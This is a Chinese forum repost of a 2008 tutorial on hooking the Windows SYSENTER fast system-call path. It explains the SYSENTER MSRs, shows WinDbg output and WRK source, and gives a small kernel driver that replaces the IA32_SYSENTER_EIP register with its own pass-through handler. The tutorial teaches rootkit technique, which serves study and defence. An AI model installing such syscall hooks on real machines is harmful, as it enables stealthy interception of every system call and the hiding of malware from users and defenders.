找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 282|回复: 0

Rootkit hook之[六] sysenter Hook

[复制链接]

1793

主题

457

回帖

0

积分

管理员

积分
0
发表于 2013-6-19 18:29:58 | 显示全部楼层 |阅读模式
[bgcolor=#ffffff]标 题:[/bgcolor][bgcolor=#ffffff] 【原创】rootkit hook之[六] -- sysenter Hook[/bgcolor][bgcolor=#ffffff]
作 者: combojiang
时 间: 2008-02-26,12:25:40
链 接: http://bbs.pediy.com/showthread.php?t=60247
[/bgcolor]
[bgcolor=#ffffff]呵呵,今天这篇内容少,比较简单。[/bgcolor]

[bgcolor=#ffffff]SYSENETER是一条汇编指令,它是在Pentium® II 处理器及以上处理器中提供的,是快速系统调用的一部分。SYSENTER/SYSEXIT这对指令专门用于实现快速调用。在这之前是采用INT 0x2E来实现的。INT 0x2E在系统调用的时候,需要进行栈切换的工作。由于Interrupt/Exception Handler的调用都是通过 call/trap/task这一类的gate来实现的,这种方式会进行栈切换,并且系统栈的地址等信息由TSS提供。这种方式可能会引起多次内存访问 (来获取这些切换信息),因此,从PentiumII开始,IA-32引入了新指令:SYSENTER/SYSEXIT。 有了这两条指令,[/bgcolor]
[bgcolor=#ffffff]从用户级到特权级的堆栈以及指令指针的转换,可以通过这一条指令来实现,并且,需要切换到的新堆栈的地址,以及相应过程的第一条指令的位置,都有一组特殊寄存器来实现,这类特殊寄存器在IA-32中称为MSR(Model Specific Register)。这里牵涉到3个特殊寄存器: [/bgcolor]
[bgcolor=#ffffff]SYSENTER_CS_MSR: New code segment selector   0x174 [/bgcolor]
[bgcolor=#ffffff]SYSENTER_ESP_MSR: New Stack Pointer                0x175 [/bgcolor]
[bgcolor=#ffffff]SYSENTER_EIP_MSR: New Instruction Pointer        0x176 [/bgcolor]
[bgcolor=#ffffff]这里标出的3个16进制数分别对应这3个寄存器的地址,该地址用于Kernel debug时,通过rdmsr/wrmsr指令来读/写这3个寄存器。步骤如下:[/bgcolor]

[bgcolor=#ffffff]1. 装载SYSENTER_CS_MSR 到CS 寄存器,设置目标代码段[/bgcolor]
[bgcolor=#ffffff]2. 装载SYSENTER_EIP_MSR到 EIP寄存器,设置目标指令 [/bgcolor]
[bgcolor=#ffffff]3. SYSENTER_CS_MSR+8 装载到SS寄存器 ,设置栈段[/bgcolor]
[bgcolor=#ffffff]4. 装载SYSENTER_ESP_MSR 到ESP寄存器,设置栈帧 [/bgcolor]
[bgcolor=#ffffff]5. 切换RING0. [/bgcolor]
[bgcolor=#ffffff]6. 清除 EFLAGS的 VM标志 [/bgcolor]
[bgcolor=#ffffff]7. 执行RING0例程 [/bgcolor]


[bgcolor=#ffffff]1. SYSENTER_CS_MSR+16装载到 CS寄存器 [/bgcolor]
[bgcolor=#ffffff]2. 将EDX的值送入EIP [/bgcolor]
[bgcolor=#ffffff]3. SYSENTER_CS_MSR+24 装载到SS寄存器 [/bgcolor]
[bgcolor=#ffffff]4. 将ECX的值送入ESP [/bgcolor]
[bgcolor=#ffffff]5. 切换回RING3 [/bgcolor]
[bgcolor=#ffffff]6. 执行EIP处的RING3指令 [/bgcolor]

[bgcolor=#ffffff]我们在windbg中可以看看这个三个寄存器的情况,这个是我机器里的情况。[/bgcolor]
[bgcolor=#ffffff]lkd> rdmsr 176[/bgcolor]
[bgcolor=#ffffff]msr[176] = 00000000`8053dad0[/bgcolor]
[bgcolor=#ffffff]lkd> rdmsr 175[/bgcolor]
[bgcolor=#ffffff]msr[175] = 00000000`ba4e0000[/bgcolor]
[bgcolor=#ffffff]lkd> rdmsr 174[/bgcolor]
[bgcolor=#ffffff]msr[174] = 00000000`00000008[/bgcolor]

[bgcolor=#ffffff]可以看到,我的机器里面当前SYSENTER_EIP_MSR,SYSENTER_ESP_MSR,SYSENTER_CS_MSR这三个寄存器的值。[/bgcolor]

[bgcolor=#ffffff]我们在微软公开的内核WRK中发现关于这三个寄存器的设置,其中SYSENTER_EIP_MSR设置的值是KiFastCallEntry。[/bgcolor]
[bgcolor=#ffffff]代码如下:[/bgcolor]
复制代码
  • VOID
  • KiLoadFastSyscallMachineSpecificRegisters(
  • IN PLONG Context
  • )

  • /*++

  • Routine Description:

  • Load MSRs used to support Fast Syscall/return. This routine is
  • run on all processors.

  • Arguments:

  • None.

  • Return Value:

  • None.

  • --*/

  • {
  • PKPRCB Prcb;

  • UNREFERENCED_PARAMETER (Context);

  • if (KiFastSystemCallIsIA32) {

  • Prcb = KeGetCurrentPrcb();

  • //
  • // Use Intel defined way of doing this.
  • //

  • WRMSR(MSR_SYSENTER_CS, KGDT_R0_CODE);
  • WRMSR(MSR_SYSENTER_EIP, (ULONGLONG)(ULONG)KiFastCallEntry);
  • WRMSR(MSR_SYSENTER_ESP, (ULONGLONG)(ULONG)Prcb->DpcStack);

  • }
  • }

  • 看看我电脑的情况如下:
  • lkd> rdmsr 176
  • msr[176] = 00000000`8053dad0
  • lkd> u 8053dad0
  • nt!KiFastCallEntry:
  • 8053dad0 b923000000 mov ecx,23h
  • 8053dad5 6a30 push 30h
  • 8053dad7 0fa1 pop fs
  • 8053dad9 8ed9 mov ds,cx
  • 8053dadb 8ec1 mov es,cx
  • 8053dadd 8b0d40f0dfff mov ecx,dword ptr ds:[0FFDFF040h]
  • 8053dae3 8b6104 mov esp,dword ptr [ecx+4]
  • 8053dae6 6a23 push 23h

  • 下面是rootkit.com上的一个例子,这个例子有点不厚道,在你卸载的时候会bsod.我简单修改了下,贴代码如下:
  • #include "ntddk.h"

  • ULONG d_origKiFastCallEntry; // Original value of ntoskrnl!KiFastCallEntry

  • VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
  • {
  • _asm
  • {
  • mov ecx, 0x176
  • xor edx,edx
  • mov eax, d_origKiFastCallEntry // Hook function address
  • wrmsr // Write to the IA32_SYSENTER_EIP register
  • }
  • }

  • // Hook function
  • __declspec(naked) MyKiFastCallEntry()
  • {
  • __asm {
  • jmp [d_origKiFastCallEntry]
  • }
  • }

  • NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
  • {
  • theDriverObject->DriverUnload = OnUnload;

  • __asm {
  • mov ecx, 0x176
  • rdmsr // read the value of the IA32_SYSENTER_EIP register
  • mov d_origKiFastCallEntry, eax
  • mov eax, MyKiFastCallEntry // Hook function address
  • wrmsr // Write to the IA32_SYSENTER_EIP register
  • }

  • return STATUS_SUCCESS;
  • }


[bgcolor=#ffffff]注意一点,大家用windbg的时候,配置symbol path,如图:[/bgcolor]


[bgcolor=#ffffff]后面贴上一篇堕落天才写的文章链接:[/bgcolor]http://bbs.pediy.com/showthread.php?t=42705[bgcolor=#ffffff][/bgcolor]
[bgcolor=#ffffff]他inline hook 了KiFastCallEntry,采用detour方式,写得很不错。 [/bgcolor]
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

果子博客
扫码关注微信公众号

Archiver|手机版|小黑屋|风叶林

GMT+8, 2026-2-1 16:59 , Processed in 0.064779 second(s), 20 queries .

Powered by 风叶林

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表